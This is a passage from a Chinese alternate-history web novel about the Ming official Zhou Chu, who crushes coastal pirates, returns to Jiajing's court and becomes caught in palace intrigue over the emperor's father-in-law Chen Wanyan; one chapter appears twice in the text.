周楚看向那一排排刚刚拉过来的子母炮,挥动战旗,示意开炮。 瞬间,无数火炮对着面前的水寨开始轰击,这些木质的房屋在火炮面前如同玩具一般,瞬间支离破碎。 原本还在开动员大会的刘潮,听到火炮的声音,脸色瞬间变了,他意识到自己中计了,是官府剿倭的人来了。 “冲出去,杀死他们,我们才有活路。” 刘潮的话在火炮的轰鸣声中显得极为渺小,他急忙找到战旗,开始指挥一众海盗向外冲杀。 第158章 彻底荡平倭寇,周楚回京,面见嘉靖 接下来的半年时间,周楚在东南沿海不断剿倭,海上则有云瑾率领的虎贲军剿灭那些海盗,经过半年时间的清剿,又没有朝中任何势力的掣肘,不需要犹豫倭寇该不该完全剿灭的情况下,东南沿海的倭寇基本被周楚荡平。 半年时间,周楚的虎贲军经历大大小小战事数十场,最多的一次损失十几个虎贲军,其他时候基本上都是死伤三五人甚至零战损。 这半年的时间,云瑾在周楚的示意下,又招了一支新军,数量众多,训练的初见成效,宝船更是扩张到二三十艘,其中十艘分给了王直,让王直率领新军前往东瀛了,林廌和数十位资历最老的玄武军也在其中。 德清公主母女当初在江南游玩了一个月,便回京了。 半年时间,在周楚的管控下,整个江南的官员迎来了一批大换血,崔文奎被嘉靖借故调离,江南省巡抚副都御使张顺钦被周楚找到证据,私通倭寇,直接法办。 严嵩则顶了张顺钦的缺,成了江南省的巡抚副都御史,正三品,明面上的二把手,实际上的一把手,新任的江南省巡抚在严嵩面前毫无话语权。 整个江南的基本面,已经牢牢的被朝廷掌控,而且各县的锦衣卫衙门,最起码在短时间内能保证这些士绅不敢再胡作非为,因为百姓有了和上面沟通的桥梁。 不过周楚也清楚,再好的桥梁也有腐烂的一天,周楚只能在此之前争取多做些事,历史周期律很难规避,只能尽量拖延。 能为大明续命一两百年,使大明国富民强,周楚也就心满意足了,其他的倒也不太奢求。 “确实该回京了。” 周楚看着手中召自己回京的圣旨,叹了口气道。 此去京城,祸福难料,不过周楚倒也不太担心,嘉靖就算不用自己,也不会杀了自己。 原本周楚还想叫上云瑾一起回京,云瑾拒绝了。 “二哥,你此去京城,前路未卜,有我在外面统帅玄武军,陛下想动你尚会忌惮几分,倘若我也回京,陛下若是翻脸,二哥该如何反制?” 云瑾的话,周楚确实没办法反驳,离京一年,虽说周楚已经尽量做到面面俱到了,但最近这半年,以杨一清为首的文官,仿佛一个个找到了方法一般,再也不攻讦周楚,反而因为周楚一次次剿倭的功绩,对周楚歌功颂德。 杨一清等人恨不得将周楚吹成大明当世第一人。 如此情况下,嘉靖心胸再开阔,也难免有些芥蒂,所以眼看周楚剿倭成功,直接下旨让周楚将江南省的兵权交给严嵩,让周楚回京述职。 当然,虎贲军还在周楚手中,嘉靖虽然心中有芥蒂,却也清楚杨一清等人不怀好意,并没有真的受到挑拨,更何况单单是两千虎贲军,也造不成多大危害,何必因此恶了周楚。 陆炳早就率大军回京了,如今的陆炳因为平定安南,也被封了侯,只是没有食邑,毕竟嘉靖清楚,安南的收复到底是怎么回事。 主要还是陆家有陆炳,还有云瑾,周楚和陆家的关系又这么近,嘉靖想不忌惮都难,如果嘉靖是一个纯粹的皇帝,恐怕早就会有所动作了。 但嘉靖和那些纯政治生物相比,更注重情感,无论是对陆炳还是对周楚,他都下不了这种狠心,干脆都封了侯。 这次召回周楚,主要也是想看看周楚的态度,毕竟嘉靖和周楚君臣已经一年没见了,再加上群臣对周楚的捧杀,嘉靖还真怕自己再见不到周衡器,就会走了自己皇爷爷朱见深的老路,忍不住罢黜周楚。 这半年时间,张璁背靠朝廷和周楚,在南直隶继续推行考成法,已经初见成效,整个南直隶的官员行事极为高效,因此考成法被严嵩延伸到了江南省,已经在初步开展了。 离京的时候,周楚一路走了很久,回去直接坐船,却是很快。 周楚回京只带了沈炼,林鹿都没带,周楚让林鹿和虎贲军都留在了苏州府,以此来向皇帝表明自己的态度。 当然,一些暗中保护自己的锦衣卫还是要带的,毕竟这一路难免会有人对自己动手。 到了天津码头,那些跟来的苏州府的锦衣卫就直接原路返回了,陆万山早就带人等在了这里。 “属下见过大人。” 时隔一年,陆万山再次见到周楚,却已不是第一次见到周楚那副桀骜不驯的模样了,神情之中满是恭敬和崇拜。 周楚点了点头,没说什么。 从天津码头下了船,周楚牵着因为乘船有些脚软的乌骓马走了一段路,等乌骓马和沈炼的马恢复的差不多了,便翻身上马,一路直奔京城而去。 陆万山等一众锦衣卫则跟在后面沿途保护。 这一路上倒是没遭遇什么刺杀,无甚波澜。 进京之后,周楚直奔皇宫而去。 “周大人,此去江南一年,陛下日日念叨着您。” 御书房门口,黄锦看到周楚,眼睛顿时亮了。 “我心中也是日日心系陛下。” 周楚笑道。 两人一边说着,一边进入了御书房。 “衡器,你总算回来了。” 御书房中,见到周楚的朱厚熜满脸激动道。 看着眼前周楚的一脸风尘仆仆和略显憔悴的神情,朱厚熜原本心中的一丝猜忌瞬间烟消云散,甚至还感到无比愧疚,心想自己怎么就受了那些文臣的挑拨,怀疑周衡器呢? “陛下,臣也很想念陛下。” 周楚恭敬道。 “不说这些了,回来就好,你这一走就是一年,今日你我君臣好不容易相聚,你我还有文孚,我们三人好好饮酒作乐,不谈国事。” 嘉靖拉着周楚的手,高兴道。 “好,今日臣陪陛下一醉方休。” 周楚笑道。 周楚这边和嘉靖以及陆炳饮酒作乐,后宫之中,陈氏正等着皇帝一起赏花,两人已经约定好了,她左等右等,却怎么都等不来皇帝。 “你去打听一下,陛下怎么还不来?” 陈氏看着身边的太监道。 太监领命离去,没过多久就再次回到了陈氏身旁。 “回娘娘的话,陛下在接见锦衣卫指挥使周楚周大人,今日应该是没时间了。” 陈氏听到这话,脸色一垮,原本的好心情瞬间烟消云散。 “区区一个锦衣卫指挥使,陛下何必如此上心?” 陈氏说完便冷哼一声离开了御花园。 这半年的时间,陈氏的父亲陈万言一升再升,不止被加封为泰和伯,还是世袭的伯爵,岁禄千石,陈氏的兄长陈绍祖更是被加封为尚宝司丞,嘉靖更是不顾群臣反对,对陈家赐地八百倾。 自半年前惹怒了嘉靖的陈氏,这半年低眉顺目,让嘉靖极为欢心,因此陈氏好了伤疤忘了疼,慢慢变得骄纵了起来。 在她看来,区区一个锦衣卫指挥使居然也敢占用陛下的时间,简直是不知所谓。 回到寝宫之后的陈氏越想越气,干脆写了一封密信,让人悄悄送出宫去,送到了陈万言手上。 陈氏却不知道,她身边的人,无论是太监还是宫女,都是嘉靖的人。 第158章 彻底荡平倭寇,周楚回京,面见嘉靖 接下来的半年时间,周楚在东南沿海不断剿倭,海上则有云瑾率领的虎贲军剿灭那些海盗,经过半年时间的清剿,又没有朝中任何势力的掣肘,不需要犹豫倭寇该不该完全剿灭的情况下,东南沿海的倭寇基本被周楚荡平。 半年时间,周楚的虎贲军经历大大小小战事数十场,最多的一次损失十几个虎贲军,其他时候基本上都是死伤三五人甚至零战损。 这半年的时间,云瑾在周楚的示意下,又招了一支新军,数量众多,训练的初见成效,宝船更是扩张到二三十艘,其中十艘分给了王直,让王直率领新军前往东瀛了,林廌和数十位资历最老的玄武军也在其中。 德清公主母女当初在江南游玩了一个月,便回京了。 半年时间,在周楚的管控下,整个江南的官员迎来了一批大换血,崔文奎被嘉靖借故调离,江南省巡抚副都御使张顺钦被周楚找到证据,私通倭寇,直接法办。 严嵩则顶了张顺钦的缺,成了江南省的巡抚副都御史,正三品,明面上的二把手,实际上的一把手,新任的江南省巡抚在严嵩面前毫无话语权。 整个江南的基本面,已经牢牢的被朝廷掌控,而且各县的锦衣卫衙门,最起码在短时间内能保证这些士绅不敢再胡作非为,因为百姓有了和上面沟通的桥梁。 不过周楚也清楚,再好的桥梁也有腐烂的一天,周楚只能在此之前争取多做些事,历史周期律很难规避,只能尽量拖延。 能为大明续命一两百年,使大明国富民强,周楚也就心满意足了,其他的倒也不太奢求。 “确实该回京了。” 周楚看着手中召自己回京的圣旨,叹了口气道。 此去京城,祸福难料,不过周楚倒也不太担心,嘉靖就算不用自己,也不会杀了自己。 原本周楚还想叫上云瑾一起回京,云瑾拒绝了。 “二哥,你此去京城,前路未卜,有我在外面统帅玄武军,陛下想动你尚会忌惮几分,倘若我也回京,陛下若是翻脸,二哥该如何反制?” 云瑾的话,周楚确实没办法反驳,离京一年,虽说周楚已经尽量做到面面俱到了,但最近这半年,以杨一清为首的文官,仿佛一个个找到了方法一般,再也不攻讦周楚,反而因为周楚一次次剿倭的功绩,对周楚歌功颂德。 杨一清等人恨不得将周楚吹成大明当世第一人。 如此情况下,嘉靖心胸再开阔,也难免有些芥蒂,所以眼看周楚剿倭成功,直接下旨让周楚将江南省的兵权交给严嵩,让周楚回京述职。 当然,虎贲军还在周楚手中,嘉靖虽然心中有芥蒂,却也清楚杨一清等人不怀好意,并没有真的受到挑拨,更何况单单是两千虎贲军,也造不成多大危害,何必因此恶了周楚。 陆炳早就率大军回京了,如今的陆炳因为平定安南,也被封了侯,只是没有食邑,毕竟嘉靖清楚,安南的收复到底是怎么回事。 主要还是陆家有陆炳,还有云瑾,周楚和陆家的关系又这么近,嘉靖想不忌惮都难,如果嘉靖是一个纯粹的皇帝,恐怕早就会有所动作了。 但嘉靖和那些纯政治生物相比,更注重情感,无论是对陆炳还是对周楚,他都下不了这种狠心,干脆都封了侯。 这次召回周楚,主要也是想看看周楚的态度,毕竟嘉靖和周楚君臣已经一年没见了,再加上群臣对周楚的捧杀,嘉靖还真怕自己再见不到周衡器,就会走了自己皇爷爷朱见深的老路,忍不住罢黜周楚。 这半年时间,张璁背靠朝廷和周楚,在南直隶继续推行考成法,已经初见成效,整个南直隶的官员行事极为高效,因此考成法被严嵩延伸到了江南省,已经在初步开展了。 离京的时候,周楚一路走了很久,回去直接坐船,却是很快。 周楚回京只带了沈炼,林鹿都没带,周楚让林鹿和虎贲军都留在了苏州府,以此来向皇帝表明自己的态度。 当然,一些暗中保护自己的锦衣卫还是要带的,毕竟这一路难免会有人对自己动手。 到了天津码头,那些跟来的苏州府的锦衣卫就直接原路返回了,陆万山早就带人等在了这里。 “属下见过大人。” 时隔一年,陆万山再次见到周楚,却已不是第一次见到周楚那副桀骜不驯的模样了,神情之中满是恭敬和崇拜。 周楚点了点头,没说什么。 从天津码头下了船,周楚牵着因为乘船有些脚软的乌骓马走了一段路,等乌骓马和沈炼的马恢复的差不多了,便翻身上马,一路直奔京城而去。 陆万山等一众锦衣卫则跟在后面沿途保护。 这一路上倒是没遭遇什么刺杀,无甚波澜。 进京之后,周楚直奔皇宫而去。 “周大人,此去江南一年,陛下日日念叨着您。” 御书房门口,黄锦看到周楚,眼睛顿时亮了。 “我心中也是日日心系陛下。” 周楚笑道。 两人一边说着,一边进入了御书房。 “衡器,你总算回来了。” 御书房中,见到周楚的朱厚熜满脸激动道。 看着眼前周楚的一脸风尘仆仆和略显憔悴的神情,朱厚熜原本心中的一丝猜忌瞬间烟消云散,甚至还感到无比愧疚,心想自己怎么就受了那些文臣的挑拨,怀疑周衡器呢? “陛下,臣也很想念陛下。” 周楚恭敬道。 “不说这些了,回来就好,你这一走就是一年,今日你我君臣好不容易相聚,你我还有文孚,我们三人好好饮酒作乐,不谈国事。” 嘉靖拉着周楚的手,高兴道。 “好,今日臣陪陛下一醉方休。” 周楚笑道。 周楚这边和嘉靖以及陆炳饮酒作乐,后宫之中,陈氏正等着皇帝一起赏花,两人已经约定好了,她左等右等,却怎么都等不来皇帝。 “你去打听一下,陛下怎么还不来?” 陈氏看着身边的太监道。 太监领命离去,没过多久就再次回到了陈氏身旁。 “回娘娘的话,陛下在接见锦衣卫指挥使周楚周大人,今日应该是没时间了。” 陈氏听到这话,脸色一垮,原本的好心情瞬间烟消云散。 “区区一个锦衣卫指挥使,陛下何必如此上心?” 陈氏说完便冷哼一声离开了御花园。 这半年的时间,陈氏的父亲陈万言一升再升,不止被加封为泰和伯,还是世袭的伯爵,岁禄千石,陈氏的兄长陈绍祖更是被加封为尚宝司丞,嘉靖更是不顾群臣反对,对陈家赐地八百倾。 自半年前惹怒了嘉靖的陈氏,这半年低眉顺目,让嘉靖极为欢心,因此陈氏好了伤疤忘了疼,慢慢变得骄纵了起来。 在她看来,区区一个锦衣卫指挥使居然也敢占用陛下的时间,简直是不知所谓。 回到寝宫之后的陈氏越想越气,干脆写了一封密信,让人悄悄送出宫去,送到了陈万言手上。 陈氏却不知道,她身边的人,无论是太监还是宫女,都是嘉靖的人。 第159章 嘉靖立的靶子,惊喜的杨一清 嘉靖正在和周楚陆炳三人饮酒作乐,黄锦来到他身旁,悄悄说了几句话,这让嘉靖不禁皱了皱眉头。 “衡器,你说为何有些女人就是看不清形势呢?” 嘉靖喝了口酒道。 嘉靖这话,既是说皇后陈氏,同样也是说已经薨了的太后张氏。 “可能是因为女人和男人想问题的方式不同吧。” 周楚不知道嘉靖为何突然说这种话,倒也没有急于发表意见。 而且既然提到了女人,多半是皇宫后宅之事,牵扯到皇帝的家事,作为臣子还是要少提意见的好。 嘉靖听到这话,笑了笑。 “衡器应该还不知道吧,朕近半年来,将皇后的父亲陈万言封了伯,再过几日,朕还准备给他封侯,你可知朕为何要这么做?” 嘉靖看着周楚,笑道。 “陛下和皇后伉俪情深。” 周楚大概能猜到嘉靖为何这么做,但皇帝的心思不能猜的太准,要让皇帝有成就感,君臣之间要有适当的距离感。 “这话要是在半年前还适用,自从半年前皇后有了不该有的想法之后,朕就对她喜爱不起来了。” 嘉靖摇了摇头。 “那陛下为何如此?” 周楚疑惑道。 嘉靖听到这话,得意一笑,心想还有你周衡器猜不透的事呢。 “朕是在立靶子,陈万言一个屡试不第的老秀才,被朕如此擢拔赏赐,势必会引起朝中许多人的不满,如此一来,这些人就会把目光放在陈万言身上。” 嘉靖说到这里叹了口气。 “这一年衡器你做的事太多,得罪的人也太多,朝中八九成的官员都视你为眼中钉肉中刺,欲除之而后快,前面半年他们还都在弹劾你,后面半年这些人变了,开始毫无来由的吹嘘你的功劳,似乎想要将你捧成大明第一圣人。” 嘉靖一说到这些,顿时满脸愤怒。 无论是他还是周楚都清楚,这些人用心之险恶,即便是嘉靖都差点着了道。 “这些人的用心和手段确实险恶,臣此次回京,也确实需要沉寂一段时间了,否则日后将寸步难行。” 周楚有些无奈道。 “不过陛下此法,陈大人将来恐怕会万劫不复。” 周楚有些担忧道。 嘉靖听到这话,顿时冷笑不已。 “倘若他陈万言和陈家安分一些,朕还不会如此,但这半年的时间,那陈万言愈发嚣张,凭借着朕对皇后的喜爱,肆无忌惮,这种人,当靶子正合适。” 周楚听到这话,心中还是很感动的,嘉靖作为皇帝,居然能为自己考虑到如此地步,实在是难能可贵。 酒足饭饱之后,周楚和陆炳一起离开了皇宫,如今的皇宫可不是以前,安全程度大大提高了,陆炳虽然还是日日保护在嘉靖身旁,但如今周楚回京的日子,以陆炳和周楚的关系,嘉靖直接让他也一起回家休沐了。 周楚回去之后,先去了陆家。 “叔父,婶子,许久不见了。” 周楚说着看向了身后的春兰,春兰急忙将周楚备好的礼递了过去。 “这些都是苏州府一些比较出名的糕点,单论糕点,苏州府的糕点要比京城的好吃不少。” 周楚笑道。 “衡器有心了。” 杨氏从看到周楚便是满脸笑容,此时看到周楚还特意为自己带了糕点,心中更是异常高兴。 “叔父,这个扳指是用顶好的羊脂玉做的,而且无论是沁色还是各个方面,都是顶级的。” 周楚说着拿出一个羊脂玉的扳指,这是个老物件,这种老物件有许多讲究,比如不能沾血等等,这个扳指各方面周楚特意找人看过,各方面都没有问题。 新的玉器扳指还需要养,像这种就不需要。 陆松接过扳指,顿时爱不释手,他从未见过成色如此好的扳指。 “你说你来就来吧,怎么还带这么贵重的东西。” 陆松虽然嘴上这么说,但对扳指却是极其喜爱的。 “叔父收下便是,这种东西我还有许多,不算贵重。” 周楚笑道。 “二哥,你终于回来了。” 一旁的陆炜看着周楚,满脸高兴道。 这一年未见,陆炜长高了许多,整个人的气质愈发内敛了。 “今年的乡试考的如何?” 看到陆炜,周楚忍不住问道。 八月份的乡试,文徵明和徐阶参加的是同一届,都是在南直隶考的,陆炜则是回到老家考的。 一提到乡试,陆炜顿时有些沮丧。 “没考上。” “倒也不必着急,你才多大,下一届应该差不多能中。” 周楚安慰道。 “云瑾是想回来的,但军务要紧,她暂时抽不开身。” 提到云瑾,周楚有些愧疚道。 毕竟无论是陆松还是杨氏,都已经一年没见自己的小女儿了。 这其中的原因,周楚又不便细说,只能以军务繁忙为借口。 一提到云瑾,杨氏眼神一暗,作为母亲,她都已经一年没见到自己的女儿了,不过很快又振奋了起来,毕竟自己家老大如今能封侯,全靠云瑾,没有云瑾打下安南,老大岂能如此顺利收复安南? 正所谓有得必有失,这世上哪有什么都想要的道理。 “无妨,云瑾虽是女儿身,但志不在后宅,在外统兵本就是她喜欢的,说不定将来我们夫妻俩还得仰仗云瑾呢。” 相比于杨氏的多愁善感,陆松倒是豁达的多。 一旁的陆炜听到这话,满脸羡慕,羡慕自己的妹妹比自己还小,如今已经在外统兵,用兵如神了,话本里的故事也不过如此吧。 “二哥,我也想进军营。” 陆炜看着周楚,弱弱道。 这话一出口,还没等周楚反驳,陆松和杨氏纷纷瞪了他一眼。 “你大哥是锦衣卫,你爹是锦衣卫,云瑾现在在外统兵,我陆家的文脉全靠你一人了,再敢说去军营这话,腿给你打断。” 陆松呵斥道。 “叔父倒也不必如此严厉,文心,军旅生涯不是你想的那么简单,你又不会兵法战阵,去了兵营也只能当个大头兵,不如潜下心来读书,将来入仕。” 周楚劝解道。 原本听到陆松的话还心有不服的陆炜,听到周楚这话,顿时打消了进军营的念头。 如果说谁的话他最能听的进去,那无疑是周楚的。 如此过了两日,第三日早朝的时候,周楚赫然在列,杨一清等人看到周楚,并不意外,周楚回京的消息没有刻意隐瞒,杨一清作为内阁首辅,自然是知道的。 “前两日衡器回京,朕观衡器这一年为大明奔波劳累,实在是心疼,衡器休息一段时间吧。” 朝会上,嘉靖看着周楚说道。 百官听到这话,反应不一,杨一清等一众官员,心中很是高兴。 看来之前自己对周衡器的捧杀已经见效了,皇帝开始忌惮这位锦衣卫指挥使了。 第160章 陈万言封侯,杨慎:陈大人因何大放厥词? 一旁的杨慎听到这话,神色有些复杂,他想替周楚说话,但一时之间又不知道该如何开口,毕竟皇帝说的是让周楚休息一段时间,言语上都是替周楚考虑。 杨慎怎么都没想到,皇帝真的会因为杨一清这些人对周楚的捧杀而忌惮周楚,不过杨慎想了想,似乎作为一个合格的皇帝,对于周楚这种臣子有所忌惮,又是理所应当的。 所以杨慎才会为难,连他都拿不准该不该替周楚说话,站在皇帝的立场,他不该替周楚说话,应该赞同皇帝的做法。 站在大明乃至大明百姓的立场上,杨慎也有些矛盾,毕竟此时的周楚对大明而言似乎是一把双刃剑,这把剑太过锋利,稍微用不好就会伤人伤己,因为周楚有那个能力。 关于这一点,杨慎很清楚,不能因为个人感情上,自己相信周楚,就觉得周楚将来一定不会有异心,历史上的无数事实证明,一个臣子忠与不忠,都是实时在变化的。 很多人会不会造反不重要,关键是他有没有那个能力造反,一旦有了这个能力,那便是为皇帝所不容。 当然,在杨慎看来,目前的周衡器还既没有这个想法,也没有这种威胁,不过趁着这个机会,让周楚远离舆论的中心,未尝不是一件好事。 “陛下。。” 陆炳假模假样的出列,似乎想要替周楚说话。 “好了,就这么定了,不必多说。” 嘉靖大手一挥道。 陆炳听到这话,原本想要说出口的话顿时被憋了回去,不得不说论演技,陆炳也是不输朝中这些官员的。 “陛下英明。” 陈万言眼看陆炳吃了瘪,心中很是高兴,急忙出列拍马屁道。 他却不知,自己的马屁拍到了马腿上。 陈万言越是如此,嘉靖越是觉得他面目可憎。 “另外,加封泰和伯陈万言为泰和侯,岁禄两千石。” 嘉靖看着陈万言,似乎对这位老丈人相当欣赏。 “陛下,三思啊。” 此话一出,杨一清第一个站出来反对了,不只是杨一清,朝中的文武百官此时出奇的齐心,就连杨慎等人都和杨一清站在了一条战线上,纷纷出言反对此封赏。 “陛下,臣等知道陛下和皇后娘娘琴瑟和鸣,因此赏赐陈大人倒也无妨,只是这才多久,陛下对陈大人连连封赏,总是不大合适。” 杨慎斟酌着语言道。 “陛下,陈大人于我大明无尺寸之功,周大人于我大明有大功,如今陛下不封赏周大人,反倒对陈大人青眼有加,这是何道理?” 韩玠也出列道。 韩玠自然能看出这其中或许有皇帝的计谋,但这不重要,重要的是韩玠身处这个位置,就要说这个位置应该说的话。 把皇帝看的太透,一副世人皆醉我独醒的模样,做给谁看? 之前韩玠能在不背靠江南文官集团的情况下官至户部侍郎,单论政治智慧,他绝对是顶级的,很多事不在于能不能看透,而在于在什么位置,说什么话。 “韩文举,你此话何意?是在说朕是昏君,赏罚不明吗?” 嘉靖听到这话,一副暴怒的模样道。 “臣不敢,但臣以为陛下做事应当公允。” 韩玠躬身行礼道。 韩玠此话一出,原本还想攻歼陈万言的许多官员纷纷取消了这个想法。 因为韩玠的话,将陈万言的封赏和周楚的事放在了对立面,攻歼陈万言就等于是替周楚说话。 之前他们捧杀周楚,但内心都恨不得周楚去死,如今好不容易见到了成效,又岂能因为一个陈万言功亏一篑。 虽然他们对于陈万言的青云直上一个个眼红的不得了,但陈万言威胁不到他们,问题不大。 韩玠的话倒是让反对嘉靖的人少了许多。 “衡器,你也以为朕赏罚不明吗?” 嘉靖看向周楚道。 这话似乎是在逼问周楚,实则是演给百官看的。 “陛下赏罚分明,臣无话可说。” 周楚一副失魂落魄的表情道。 “既如此,此事就这么定了。” 嘉靖说道。 此话一出,文武百官有的看向周楚,露出幸灾乐祸的表情,有的则看向陈万言,眼神之中的嫉妒之色一闪而过。 最高兴的就是陈万言,他被突如其来的惊喜给砸晕了,他原本以为自己能封伯已经是祖坟冒青烟了,没想到还能更上一步。 陈万言被巨大的惊喜弄的有些飘飘然,一脸不屑的看了眼旁边的周楚。 “退朝吧。” 嘉靖似乎有些乏了,略显不耐烦的挥了挥手道。 杨慎算是看明白了,皇帝这么做是另有用意,如果皇帝真的忌惮周楚的话,韩玠替周楚说话,皇帝却对他没有丝毫责罚,甚至言语上的责罚都没有。 杨慎一直都很清楚,看一个人的真实想法,不要看他说了什么,而是要看他做了什么。 韩玠可以说完全是靠着周楚坐上了如今的位置,皇帝如果真的忌惮周衡器,又怎么会不处置韩玠? 更何况江南如今真正掌握话语权的不是别人,正是严嵩,就连江南的兵权都在严嵩手上,严嵩和周衡器之间的关系自不必多说,可以说是唯周衡器马首是瞻了。 这一点,杨慎看得明白,韩玠也看得明白,因为他们身处局外,看的清楚。 但杨一清这些人却是看不明白的,一方面是因为他们身处局中,为自己的捧杀计划洋洋自得,另外一方面,他们的目光都被陈万言这个靶子吸引了,视线被转移了。 这也是嘉靖给陈万言加封的原因,这么一个挡箭牌,不用白不用。 “周大人,你我得有一年没见了吧,一年前我们把酒言欢,今日醉仙楼,我请你。” 下朝的路上,杨慎来到周楚面前,洒脱道。 这话如果换做旁人,比如韩玠,或许会引起其他人的怀疑,毕竟此时周楚显然已经失了势,再加上周楚锦衣卫的身份和之前做的那些事,一般的官员唯恐避之不及。 但杨慎不在这个一般人的序列之中,杨慎的为人所有人都清楚,不追名逐利,为人极其洒脱,倘若杨慎不这么做,众人才会意外。 “好,醉仙楼,不醉不归。” 周楚露出了一个勉强的笑容道。 看到这一幕,陈万言顿觉不爽,其他官员都对他恭维有加,偏偏这个杨慎完全不把自己放在眼里。 “我说杨阁老,周大人可是今非昔比了,你这拜码头也不是这么拜的吧?” 陈万言出言讥讽道。 听到这话,其他官员看向陈万言的目光之中多了一丝不屑,心想怪不得此人五十多岁屡试不第,这等眼光,这等格局,还真以为自己封了侯就可以如此和杨阁老说话了? “哦?陈大人因何大放厥词?” 杨慎作为如今大明朝堂上的第一喷子,自然不会惯着陈万言,直接反问道。 第161章 杨慎怒喷陈万言,夏言对自己的定位 “你!杨阁老怎能说出如此有辱斯文的话来?” 陈万言被杨慎一句话怼的半天没说出一句话来,他怎么都没想到,堂堂杨阁老,居然一点面子都没给自己。 “有辱斯文?那也得有斯文,陈大人区区一个秀才出身,志大才疏,也配和本官谈斯文了?” 杨慎丝毫不给陈万言面子,直接怼了回去。 如果说整个大明谁最有资格说这话,那无疑是杨慎了。 如今的杨慎,在大明文坛那是泰山北斗,无人能及,在官场上,杨慎四十多岁就已经入阁,单单是这一点,就超过了九成九以上的官员。 无论从哪方面而言,杨慎在整个大明都是首屈一指的,即便是内阁首辅杨一清,也不敢说稳压杨慎一头。 其他官员都未必把陈万言放在眼里,杨慎又怎么会给他好脸色?更何况还是陈万言主动挑事的。 “你!你!你!” 论嘴皮子功夫,别说是陈万言了,即便是杨一清再加上其他官员都未必是杨慎的对手,杨慎是知道如何用一句话攻击对方最薄弱的点的。 陈万言最忌讳的便是五十出头了,屡试不第,还是个老秀才,更忌讳的是其他人说他志大才疏。 科举屡试不第还可以说自己怀才不遇,没有遇到好的考官,毕竟大明有才却考不上科举的例子不在少数,比如大名鼎鼎的文徵明。 但被人说志大才疏,陈万言是真的会破防,因为他确实没什么才华,很多时候费劲写的文章更是狗屁不通,其实他内心是清楚的,只是不愿意承认罢了。 谎言不会伤人,真相才是快刀。 杨慎看着在原地指着自己手直哆嗦的陈万言,懒得理会,转身和周楚一起离开了太和门。 夏言看着离去的周楚,眼神之中神色复杂,如今的江南完全在朝廷的掌控之下,夏言作为江南文人的代表,在朝堂上失去了话语权,所以平时很少发表自己的看法,尽量减少存在感,生怕皇帝看自己不顺眼,拿自己开刀。 不过夏言的政治智慧是很高的,他也清楚,皇帝之所以没动自己,无非是想让自己平衡朝中局势,于是平日里他要么不发言,要么就是反驳杨一清和杨慎,总之哪边都不占,充当的就是搅屎棍的角色。 之前所有人都捧杀周楚的时候,唯有夏言在攻歼周楚,夏言很清楚,周楚已经是大明最大的势力之一,皇帝留着自己最重要的目的恐怕就是如此了。 他很清楚自己的定位,所以虽然如今在朝中的地位大不如前,却也异常稳固。 对于周楚如今的处境,夏言感觉没那么简单,不过他得不到足够的信息,却也只是雾里看花,看不清楚,所以他并没有急着去落井下石,这也不是他夏言能做出来的事。 韩玠看着相谈甚欢的杨慎和周楚,心中有些羡慕杨慎的洒脱,这就是人设的重要性,杨慎想做什么便做什么,毫无顾忌,也不用在意他人的看法。 韩玠就不行,即便此时他也想和周楚把酒言欢,却也要装作一副刻意回避的模样,虽说他方才在朝堂上替周楚讲话,但百官对他的为人都极为熟悉,他韩玠在他人的印象之中,最懂得趋利避害。 虽然韩玠也看不太清楚皇帝此举到底想做什么,不过这不重要,重要的是韩玠要装作看不懂,配合皇帝,配合周楚将这出戏唱完。 以他的一贯为人而言,能在朝堂上替周楚说话,已经是仁至义尽了,此时如果像杨慎一般,和周楚走的太近,很多人都会看出问题。 “衡器,你此去江南,真是大展拳脚,很多事我只是听着就觉着痛快。” 在去醉仙楼的路上,杨慎笑道。 “都是为陛下,为大明做事罢了,倘若没有陛下的支持,我又能做成什么呢。” 周楚这话倒也不全是谦虚之言,没有嘉靖在背后替周楚顶住文武百官带来的压力,周楚又如何能在江南肆意行事。 “此言虽然在理,但衡器你的功劳也是不可磨灭的,你做的这些事,换了旁人,还真做不成,纵观大明,谁又能像你一样,毫无顾忌。” 杨慎叹了口气道。 也不知他是为周楚如今的际遇感慨,还是为大明以前的朝局感慨。 两人一路谈笑风生,不知不觉间就来到了醉仙楼。 原本还在忙碌的孙强,看到周楚,顿时放下了手中的算盘。 “见过两位大人。” 这是在醉仙楼,虽然孙强是周楚的表叔,私下里可以叫周楚的字号,但在醉仙楼这等公众场合,该有的尊重和礼节,孙强是一点都不会少的。 实际上前两日周楚就已经和孙强见过了,至于初六,刚回到京城的时候就直奔醉仙楼了,对他而言,醉仙楼才是他的主场,在苏州城的时候,他虽然在各个赌场大杀四方,闯下了赫赫威名,但那种危机四伏的感觉却让他极为不安。 只有在醉仙楼,和孙强在一起,他才感觉如鱼得水。 “备上一桌上好的酒菜,我要和杨大人不醉不归。” 周楚笑道。 周楚一下朝,沈炼就自动跟在了周楚的身后。 早在江南的时候,沈炼就被周楚提拔为百户了,至于千户,名额都是固定的,一个下一个上,目前还没有空的名额。 沈炼无论是军功亦或是各个方面都够了,除了百户的职位之外,周楚还让他领了一个虎贲军的千总职务。 只不过沈炼对这些并不看重,他跟了周楚这么久,心里对周楚愈发崇敬,他觉得如果把自己放在大人的位置上,自己远远不能像大人做的这么好,甚至沈炼觉得,整个大明,再也找不到任何一个人,可以做到大人这等地步了。 哪怕自己的老师也不行。 毕竟哪怕是王阳明,也会心有顾虑,不可能真的做到毫无顾忌。 沈炼现在对自己的定位很清晰,那就是保护好周楚的安危,不给那些想害周楚的人一丝可乘之机。 另外一边,陈万言被怼之后,越想越不是滋味,想到杨慎提起要去醉仙楼,醉仙楼和周楚之间的关系,他倒是有所耳闻,一念及此,陈万言顿时有了主意,直奔醉仙楼而去。 今日,他陈万言要大闹醉仙楼! 第162章 陈万言大闹醉仙楼,周楚和杨慎 陈万言就算要去醉仙楼,也不会自己出钱,他原本就是个一文不名的酸秀才,而且还是个老秀才,一直以来都抠惯了。 即便现在的陈家以及陈万言很有钱了,但去醉仙楼这种地方如果花自己的钱的话,陈万言也是会感到万分肉疼的。 陈万言如今的地位,想去醉仙楼吃饭,抢着请客的人自然多的是,并不是所有人都像杨慎那般看不起陈万言,或者说哪怕很多人心里看不起陈万言,为了升官发财,也要谄媚讨好。 这便是现实,纵观朝堂,真正清廉的官员,除了六科和杨慎这种,又有几个呢?就算是韩玠孙弘之流也没少贪钱。 阿谀谄媚本就是官场的常态,别说以陈万言如今的地位了,即便陈万言没有封伯封侯,单凭他女儿是皇后这一点,就会有无数官员想要走他的门路。 这便是明朝不得后宫干政的最重要的原因之一,外戚一旦有了掌权的机会,就会有无数人贴上去,极容易尾大不掉。 陈万言回到府中,从无数拜帖之中随便选了一个。 “你去将送个回帖,就说一会去醉仙楼。” 